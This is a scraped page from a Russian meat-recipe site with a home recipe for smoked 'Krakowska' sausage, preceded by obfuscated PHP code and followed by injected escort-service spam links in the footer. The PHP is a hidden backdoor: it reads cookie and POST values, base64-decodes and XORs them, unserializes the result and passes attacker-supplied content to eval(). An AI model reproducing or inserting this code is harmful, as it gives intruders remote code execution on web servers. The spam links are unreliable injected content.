$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Копченая колбаса “Краковская” • Meat Review

Копченая колбаса “Краковская”

Перейти в режим чтения
Распечатать
0 0
Копченая колбаса “Краковская”

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:
  • Сложно

Инструкция

Поделиться

Грешен, люблю иногда позавтракать бутербродом с “Краковской”, вспоминая голодное детство в Советском Заполярье.

Вынужден иногда ездить в русский магазин за 30 км покупать ее по 12 евро за кг.
Решил сделать сам, по быстрому, не выпендриваясь и не разводя мороки и не оглядыаясь на ГОСТы.

Сгреб в морозильнике остатки свинины
1200гр
Шпиг 300 гр
Соль 2%
Сахар 0.5%
Перец 5 гр
Чесночный порошок 5 гр

Прокрутил на решетке 3 мм и сразу набил в свиную кишку. Даже поленился перевязать, бросил в холодильник созревать на 3 суток, регулярно переворачивая. Потом можно заморозить, жарить, печь…
Коптил вишней 4 часа при температуре 92С. Когда температура внутри колбас достигла 74С бросил в холодную воду на 10 мин.
Для эксперимента сделал четыре колбаски с красным перцем и петрушкой. Эксперимент удался, без этих ингредиентов понравилось больше.
Теперь у меня есть своя “Краковская” без хим. добавок и в 2, 5 раза дешевле. Да, и сочней намного.

¡Buen provecho!

(Visited 1 685 times, 1 visits today)

Stanislav

обратно
Копченые кальмары
далее
Утка в апельсинах
обратно
Копченые кальмары
далее
Утка в апельсинах

Похожие рецепты

There are no comments yet

× You need to log in to enter the discussion

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close